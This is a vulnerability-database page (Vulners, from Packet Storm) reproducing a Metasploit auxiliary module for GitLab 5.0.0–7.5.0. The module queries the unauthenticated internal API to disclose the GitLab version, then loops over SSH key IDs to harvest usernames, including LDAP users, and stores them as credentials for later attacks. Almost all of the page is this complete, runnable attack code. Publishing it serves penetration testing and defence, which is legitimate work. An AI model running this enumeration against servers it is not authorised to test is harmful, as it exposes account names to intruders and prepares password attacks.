Lucene search
K

GitLab User Enumeration

🗓️ 01 Sep 2024 00:00:00Reported by Ben Campbell, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 209 Views

GitLab User Enumeration module for Metasploit, identifies usernames for SSH Key ID numbers and LDAP users, version disclosure and user enumeration. Fixed in GitLab v7.5.0

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
require 'json'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'GitLab User Enumeration',  
'Description' => "  
The GitLab 'internal' API is exposed unauthenticated on GitLab. This  
allows the username for each SSH Key ID number to be retrieved. Users  
who do not have an SSH Key cannot be enumerated in this fashion. LDAP  
users, e.g. Active Directory users will also be returned. This issue  
was fixed in GitLab v7.5.0 and is present from GitLab v5.0.0.  
",  
'Author' => 'Ben Campbell',  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2014-11-21',  
'References' =>  
[  
['URL', 'https://labs.f-secure.com/archive/gitlab-user-enumeration/']  
]  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'Path to GitLab instance', '/']),  
OptInt.new('START_ID', [true, 'ID number to start from', 0]),  
OptInt.new('END_ID', [true, 'ID number to enumerate up to', 50])  
])  
end  
  
def run_host(_ip)  
internal_api = '/api/v3/internal'  
check = normalize_uri(target_uri.path, internal_api, 'check')  
  
print_status('Sending GitLab version request...')  
res = send_request_cgi(  
'uri' => check  
)  
  
if res && res.code == 200 && res.body  
begin  
version = JSON.parse(res.body)  
rescue JSON::ParserError  
fail_with(Failure::Unknown, 'Failed to parse banner version from JSON')  
end  
  
git_version = version['gitlab_version']  
git_revision = version['gitlab_rev']  
print_good("GitLab version: #{git_version} revision: #{git_revision}")  
  
service = report_service(  
host: rhost,  
port: rport,  
name: (ssl ? 'https' : 'http'),  
proto: 'tcp'  
)  
  
report_web_site(  
host: rhost,  
port: rport,  
ssl: ssl,  
info: "GitLab Version - #{git_version}"  
)  
elsif res && res.code == 401  
fail_with(Failure::NotVulnerable, 'Unable to retrieve GitLab version...')  
else  
fail_with(Failure::Unknown, 'Unable to retrieve GitLab version...')  
end  
  
discover = normalize_uri(target_uri.path, internal_api, 'discover')  
  
users = ''  
print_status("Enumerating user keys #{datastore['START_ID']}-#{datastore['END_ID']}...")  
datastore['START_ID'].upto(datastore['END_ID']) do |id|  
res = send_request_cgi(  
'uri' => discover,  
'method' => 'GET',  
'vars_get' => { 'key_id' => id }  
)  
  
if res && res.code == 200 && res.body  
begin  
user = JSON.parse(res.body)  
username = user['username']  
unless username.nil? || username.to_s.empty?  
print_good("Key-ID: #{id} Username: #{username} Name: #{user['name']}")  
store_username(username, res)  
users << "#{username}\n"  
end  
rescue JSON::ParserError  
print_error("Key-ID: #{id} - Unexpected response body: #{res.body}")  
end  
elsif res  
vprint_status("Key-ID: #{id} not found")  
else  
print_error('Connection timed out...')  
end  
end  
  
unless users.nil? || users.to_s.empty?  
store_userlist(users, service)  
end  
end  
  
def store_userlist(users, service)  
loot = store_loot('gitlab.users', 'text/plain', rhost, users, nil, 'GitLab Users', service)  
print_good("Userlist stored at #{loot}")  
end  
  
def store_username(username, res)  
service = ssl ? 'https' : 'http'  
service_data = {  
address: rhost,  
port: rport,  
service_name: service,  
protocol: 'tcp',  
workspace_id: myworkspace_id,  
proof: res  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: username  
}  
  
credential_data.merge!(service_data)  
  
# Create the Metasploit::Credential::Core object  
credential_core = create_credential(credential_data)  
  
# Assemble the options hash for creating the Metasploit::Credential::Login object  
login_data = {  
core: credential_core,  
status: Metasploit::Model::Login::Status::UNTRIED  
}  
  
# Merge in the service data and create our Login  
login_data.merge!(service_data)  
create_credential_login(login_data)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7.4High risk
Vulners AI Score7.4
209